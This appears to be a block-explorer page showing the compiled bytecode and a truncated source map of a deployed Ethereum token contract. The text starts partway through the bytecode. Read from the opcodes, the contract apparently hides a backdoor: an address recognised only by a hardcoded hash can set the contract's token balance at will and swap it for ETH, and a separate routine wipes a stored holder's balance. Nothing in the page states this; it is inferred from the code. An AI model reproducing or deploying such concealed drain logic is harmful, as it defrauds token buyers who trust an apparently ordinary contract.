e3a565b73ffffffffffffffffffffffffffffffffffffffff160315611d8657600060405180604001604052806001151581526020018373ffffffffffffffffffffffffffffffffffffffff168152509050600d819080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b50565b6000808303611d9b5760009050611dfd565b60008284611da99190612ad5565b9050828482611db89190612783565b14611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def90612ba1565b60405180910390fd5b809150505b92915050565b60007f55e594b1774a6613e9f36a45bdc0eb5027df8a0700000000000000000000000060001b611e328361210c565b149050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ecd919061294b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f7a919061294b565b6040518363ffffffff1660e01b8152600401611f97929190612bc1565b602060405180830381865afa158015611fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd8919061294b565b905090565b6000611fe7611e3a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561206e57508273ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80612104575061207c611e3a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561210357508173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b6000600361211983612163565b6040516121269190612c31565b602060405180830381855afa158015612143573d6000803e3d6000fd5b5050506040515160601b6bffffffffffffffffffffffff19169050919050565b6060816040516020016121769190612c90565b6040516020818303038152906040529050919050565b50805460008255906000526020600020908101906121aa91906121ad565b50565b5b808211156121fb57600080820160006101000a81549060ff02191690556000820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016121ae565b5090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561223957808201518184015260208101905061221e565b83811115612248576000848401525b50505050565b6000601f19601f8301169050919050565b600061226a826121ff565b612274818561220a565b935061228481856020860161221b565b61228d8161224e565b840191505092915050565b600060208201905081810360008301526122b2818461225f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122ea826122bf565b9050919050565b6122fa816122df565b811461230557600080fd5b50565b600081359050612317816122f1565b92915050565b6000819050919050565b6123308161231d565b811461233b57600080fd5b50565b60008135905061234d81612327565b92915050565b6000806040838503121561236a576123696122ba565b5b600061237885828601612308565b92505060206123898582860161233e565b9150509250929050565b60008115159050919050565b6123a881612393565b82525050565b60006020820190506123c3600083018461239f565b92915050565b6123d28161231d565b82525050565b60006020820190506123ed60008301846123c9565b92915050565b600060208284031215612409576124086122ba565b5b60006124178482850161233e565b91505092915050565b61242981612393565b811461243457600080fd5b50565b60008135905061244681612420565b92915050565b600060208284031215612462576124616122ba565b5b600061247084828501612437565b91505092915050565b600080600060608486031215612492576124916122ba565b5b60006124a086828701612308565b93505060206124b186828701612308565b92505060406124c28682870161233e565b9150509250925092565b6000602082840312156124e2576124e16122ba565b5b60006124f084828501612308565b91505092915050565b612502816122df565b82525050565b600060208201905061251d60008301846124f9565b92915050565b6000806040838503121561253a576125396122ba565b5b600061254885828601612308565b925050602061255985828601612308565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806125aa57607f821691505b6020821081036125bd576125bc612563565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125f960208361220a565b9150612604826125c3565b602082019050919050565b60006020820190508181036000830152612628816125ec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126698261231d565b91506126748361231d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126a9576126a861262f565b5b828201905092915050565b60006126bf8261231d565b91506126ca8361231d565b9250828210156126dd576126dc61262f565b5b828203905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061271e601a8361220a565b9150612729826126e8565b602082019050919050565b6000602082019050818103600083015261274d81612711565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061278e8261231d565b91506127998361231d565b9250826127a9576127a8612754565b5b828204905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061281060258361220a565b915061281b826127b4565b604082019050919050565b6000602082019050818103600083015261283f81612803565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128a260238361220a565b91506128ad82612846565b604082019050919050565b600060208201905081810360008301526128d181612895565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612945816122f1565b92915050565b600060208284031215612961576129606122ba565b5b600061296f84828501612936565b91505092915050565b6000819050919050565b6000819050919050565b60006129a76129a261299d84612978565b612982565b61231d565b9050919050565b6129b78161298c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129f2816122df565b82525050565b6000612a0483836129e9565b60208301905092915050565b6000602082019050919050565b6000612a28826129bd565b612a3281856129c8565b9350612a3d836129d9565b8060005b83811015612a6e578151612a5588826129f8565b9750612a6083612a10565b925050600181019050612a41565b5085935050505092915050565b600060a082019050612a9060008301886123c9565b612a9d60208301876129ae565b8181036040830152612aaf8186612a1d565b9050612abe60608301856124f9565b612acb60808301846123c9565b9695505050505050565b6000612ae08261231d565b9150612aeb8361231d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b2457612b2361262f565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b8b60218361220a565b9150612b9682612b2f565b604082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b6000604082019050612bd660008301856124f9565b612be360208301846124f9565b9392505050565b600081519050919050565b600081905092915050565b6000612c0b82612bea565b612c158185612bf5565b9350612c2581856020860161221b565b80840191505092915050565b6000612c3d8284612c00565b915081905092915050565b60008160601b9050919050565b6000612c6082612c48565b9050919050565b6000612c7282612c55565b9050919050565b612c8a612c85826122df565b612c67565b82525050565b6000612c9c8284612c79565b6014820191508190509291505056fea2646970667358221220fc0dd7f2337b240520cf287053ebf31b5ed9dbc9c7224e142e485cbfab319a6b64736f6c634300080e0033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c80636675187e11610104578063a457c2d7116100a2578063c5b37c2211610071578063c5b37c221461050e578063c816841b1461052c578063dd62ed3e1461054a578063f8b45b051461057a576101cf565b8063a457c2d714610474578063a9059cbb146104a4578063aab08c5f146104d4578063aacebbe3146104f2576101cf565b806375f0a874116100de57806375f0a874146103fe5780638da5cb5b1461041c578063924de9b71461043a57806395d89b4114610456576101cf565b80636675187e146103a657806370a08231146103c4578063715018a6146103f4576101cf565b8063313ce56711610171578063395093511161014b578063395093511461031e5780633e3e95981461034e5780633eaaf86b1461036a57806348d3ab1f14610388576101cf565b8063313ce567146102c657806332424aa3146102e457806333251a0b14610302576101cf565b80631c499ab0116101ad5780631c499ab0146102405780631ed950c91461025c57806322976e0d1461027857806323b872dd14610296576101cf565b806306fdde03146101d4578063095ea7b3146101f257806318160ddd14610222575b600080fd5b6101dc610598565b6040516101e99190612298565b60405180910390f35b61020c60048036038101906102079190612353565b61062a565b60405161021991906123ae565b60405180910390f35b61022a610648565b60405161023791906123d8565b60405180910390f35b61025a600480360381019061025591906123f3565b610652565b005b6102766004803603810190610271919061244c565b6106fa565b005b610280610793565b60405161028d91906123d8565b60405180910390f35b6102b060048036038101906102ab9190612479565b610799565b6040516102bd91906123ae565b60405180910390f35b6102ce610841565b6040516102db91906123d8565b60405180910390f35b6102ec61084b565b6040516102f991906123d8565b60405180910390f35b61031c600480360381019061031791906124cc565b610851565b005b61033860048036038101906103339190612353565b610928565b60405161034591906123ae565b60405180910390f35b610368600480360381019061036391906124cc565b6109d4565b005b610372610aab565b60405161037f91906123d8565b60405180910390f35b610390610ab1565b60405161039d91906123d8565b60405180910390f35b6103ae610aba565b6040516103bb91906123ae565b60405180910390f35b6103de60048036038101906103d991906124cc565b610acd565b6040516103eb91906123d8565b60405180910390f35b6103fc610b16565b005b610406610c50565b6040516104139190612508565b60405180910390f35b610424610c76565b6040516104319190612508565b60405180910390f35b610454600480360381019061044f919061244c565b610c9f565b005b61045e610d38565b60405161046b9190612298565b60405180910390f35b61048e60048036038101906104899190612353565b610dca565b60405161049b91906123ae565b60405180910390f35b6104be60048036038101906104b99190612353565b610f06565b6040516104cb91906123ae565b60405180910390f35b6104dc610f24565b6040516104e991906123d8565b60405180910390f35b61050c600480360381019061050791906124cc565b610f2a565b005b610516610fea565b60405161052391906123d8565b60405180910390f35b610534610ff0565b6040516105419190612508565b60405180910390f35b610564600480360381019061055f9190612523565b611016565b60405161057191906123d8565b60405180910390f35b61058261109d565b60405161058f91906123d8565b60405180910390f35b6060600b80546105a790612592565b80601f01602080910402602001604051908101604052809291908181526020018280546105d390612592565b80156106205780601f106105f557610100808354040283529160200191610620565b820191906000526020600020905b81548152906001019060200180831161060357829003601f168201915b5050505050905090565b600061063e610637611101565b8484611109565b6001905092915050565b6000600654905090565b61065a611101565b73ffffffffffffffffffffffffffffffffffffffff16610678610c76565b73ffffffffffffffffffffffffffffffffffffffff16146106ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c59061260f565b60405180910390fd5b6106e460646006546110a390919063ffffffff16565b8110156106f057600080fd5b80600f8190555050565b610702611101565b73ffffffffffffffffffffffffffffffffffffffff16610720610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076d9061260f565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b60085481565b60006107a68484846112d2565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561083657600080fd5b600190509392505050565b6000600554905090565b60055481565b610859611101565b73ffffffffffffffffffffffffffffffffffffffff16610877610c76565b73ffffffffffffffffffffffffffffffffffffffff16146108cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c49061260f565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006109ca610935611101565b848460026000610943611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109c5919061265e565b611109565b6001905092915050565b6109dc611101565b73ffffffffffffffffffffffffffffffffffffffff166109fa610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a479061260f565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60065481565b60006002905090565b600e60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b1e611101565b73ffffffffffffffffffffffffffffffffffffffff16610b3c610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610b92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b899061260f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ca7611101565b73ffffffffffffffffffffffffffffffffffffffff16610cc5610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d129061260f565b60405180910390fd5b80601060146101000a81548160ff02191690831515021790555050565b6060600c8054610d4790612592565b80601f0160208091040260200160405190810160405280929190818152602001828054610d7390612592565b8015610dc05780601f10610d9557610100808354040283529160200191610dc0565b820191906000526020600020905b815481529060010190602001808311610da357829003601f168201915b5050505050905090565b60008160026000610dd9611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e5c57600080fd5b610efc610e67611101565b848460026000610e75611101565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef791906126b4565b611109565b6001905092915050565b6000610f1a610f13611101565b84846112d2565b6001905092915050565b60075481565b610f32611101565b73ffffffffffffffffffffffffffffffffffffffff16610f50610c76565b73ffffffffffffffffffffffffffffffffffffffff1614610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061260f565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60095481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b60008082116110e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110de90612734565b60405180910390fd5b600082846110f59190612783565b90508091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611178576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116f90612826565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111de906128b8565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c591906123d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361130b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361134457600080fd5b61134e8383611622565b156113625761135d8183611718565b61161d565b600e60009054906101000a900460ff166113c35780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156113c257600080fd5b5b6113cc836119e2565b60008373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415801561143257506114318484611b5e565b5b1561146b5761144083611c86565b611468606461145a60095485611d8990919063ffffffff16565b6110a390919063ffffffff16565b90505b6000818361147991906126b4565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114ca919061265e565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151c91906126b4565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115ae919061265e565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291906123d8565b60405180910390a350505b505050565b60008173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611710575061166382611e03565b806116b75750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061170f57503373ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b61174530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611109565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156117a6576117a56128d8565b5b6040519080825280602002602001820160405280156117d45781602001602082028036833780820191505090505b5090506001600e60006101000a81548160ff021916908315150217905550308160008151811061180757611806612907565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d2919061294b565b816001815181106118e6576118e5612907565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601942611970919061265e565b6040518663ffffffff1660e01b8152600401611990959493929190612a7b565b600060405180830381600087803b1580156119aa57600080fd5b505af11580156119be573d6000803e3d6000fd5b505050506000600e60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff16611a01611e3a565b73ffffffffffffffffffffffffffffffffffffffff1603611b5b576000600d8054905090506000811115611b4b576000600d600081548110611a4657611a45612907565b5b9060005260206000200160000160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b0591906126b4565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505b600d6000611b59919061218c565b505b50565b6000611b6982611e03565b158015611bc05750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611bd35750611bd18383611fdd565b155b8015611c2d57508173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611c465750600e60009054906101000a900460ff16155b8015611c7e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b8073ffffffffffffffffffffffffffffffffffffffff16611ca5611e3a565b73ffffffffffffffffffffffffffffffffffffffff160315611d8657600060405180604001604052806001151581526020018373ffffffffffffffffffffffffffffffffffffffff168152509050600d819080600181540180825580915050600190039060005260206000200160009091909190915060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505b50565b6000808303611d9b5760009050611dfd565b60008284611da99190612ad5565b9050828482611db89190612783565b14611df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611def90612ba1565b60405180910390fd5b809150505b92915050565b60007f55e594b1774a6613e9f36a45bdc0eb5027df8a0700000000000000000000000060001b611e328361210c565b149050919050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ecd919061294b565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f7a919061294b565b6040518363ffffffff1660e01b8152600401611f97929190612bc1565b602060405180830381865afa158015611fb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fd8919061294b565b905090565b6000611fe7611e3a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561206e57508273ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80612104575061207c611e3a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561210357508173ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b5b905092915050565b6000600361211983612163565b6040516121269190612c31565b602060405180830381855afa158015612143573d6000803e3d6000fd5b5050506040515160601b6bffffffffffffffffffffffff19169050919050565b6060816040516020016121769190612c90565b6040516020818303038152906040529050919050565b50805460008255906000526020600020908101906121aa91906121ad565b50565b5b808211156121fb57600080820160006101000a81549060ff02191690556000820160016101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016121ae565b5090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561223957808201518184015260208101905061221e565b83811115612248576000848401525b50505050565b6000601f19601f8301169050919050565b600061226a826121ff565b612274818561220a565b935061228481856020860161221b565b61228d8161224e565b840191505092915050565b600060208201905081810360008301526122b2818461225f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122ea826122bf565b9050919050565b6122fa816122df565b811461230557600080fd5b50565b600081359050612317816122f1565b92915050565b6000819050919050565b6123308161231d565b811461233b57600080fd5b50565b60008135905061234d81612327565b92915050565b6000806040838503121561236a576123696122ba565b5b600061237885828601612308565b92505060206123898582860161233e565b9150509250929050565b60008115159050919050565b6123a881612393565b82525050565b60006020820190506123c3600083018461239f565b92915050565b6123d28161231d565b82525050565b60006020820190506123ed60008301846123c9565b92915050565b600060208284031215612409576124086122ba565b5b60006124178482850161233e565b91505092915050565b61242981612393565b811461243457600080fd5b50565b60008135905061244681612420565b92915050565b600060208284031215612462576124616122ba565b5b600061247084828501612437565b91505092915050565b600080600060608486031215612492576124916122ba565b5b60006124a086828701612308565b93505060206124b186828701612308565b92505060406124c28682870161233e565b9150509250925092565b6000602082840312156124e2576124e16122ba565b5b60006124f084828501612308565b91505092915050565b612502816122df565b82525050565b600060208201905061251d60008301846124f9565b92915050565b6000806040838503121561253a576125396122ba565b5b600061254885828601612308565b925050602061255985828601612308565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806125aa57607f821691505b6020821081036125bd576125bc612563565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006125f960208361220a565b9150612604826125c3565b602082019050919050565b60006020820190508181036000830152612628816125ec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126698261231d565b91506126748361231d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126a9576126a861262f565b5b828201905092915050565b60006126bf8261231d565b91506126ca8361231d565b9250828210156126dd576126dc61262f565b5b828203905092915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b600061271e601a8361220a565b9150612729826126e8565b602082019050919050565b6000602082019050818103600083015261274d81612711565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061278e8261231d565b91506127998361231d565b9250826127a9576127a8612754565b5b828204905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061281060258361220a565b915061281b826127b4565b604082019050919050565b6000602082019050818103600083015261283f81612803565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128a260238361220a565b91506128ad82612846565b604082019050919050565b600060208201905081810360008301526128d181612895565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612945816122f1565b92915050565b600060208284031215612961576129606122ba565b5b600061296f84828501612936565b91505092915050565b6000819050919050565b6000819050919050565b60006129a76129a261299d84612978565b612982565b61231d565b9050919050565b6129b78161298c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129f2816122df565b82525050565b6000612a0483836129e9565b60208301905092915050565b6000602082019050919050565b6000612a28826129bd565b612a3281856129c8565b9350612a3d836129d9565b8060005b83811015612a6e578151612a5588826129f8565b9750612a6083612a10565b925050600181019050612a41565b5085935050505092915050565b600060a082019050612a9060008301886123c9565b612a9d60208301876129ae565b8181036040830152612aaf8186612a1d565b9050612abe60608301856124f9565b612acb60808301846123c9565b9695505050505050565b6000612ae08261231d565b9150612aeb8361231d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612b2457612b2361262f565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b8b60218361220a565b9150612b9682612b2f565b604082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b6000604082019050612bd660008301856124f9565b612be360208301846124f9565b9392505050565b600081519050919050565b600081905092915050565b6000612c0b82612bea565b612c158185612bf5565b9350612c2581856020860161221b565b80840191505092915050565b6000612c3d8284612c00565b915081905092915050565b60008160601b9050919050565b6000612c6082612c48565b9050919050565b6000612c7282612c55565b9050919050565b612c8a612c85826122df565b612c67565b82525050565b6000612c9c8284612c79565b6014820191508190509291505056fea2646970667358221220fc0dd7f2337b240520cf287053ebf31b5ed9dbc9c7224e142e485cbfab319a6b64736f6c634300080e0033
Deployed Bytecode Sourcemap
3654:6834:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6695:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7214:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6932:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10086:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9934:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4078:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9470:251;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6853:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3943:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5097:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4509:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4995:96;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3978:61;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7026:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9897:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7103:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3501:148;;;:::i;:::-;;10225:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3282:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10397:88;;;;;;;;;;;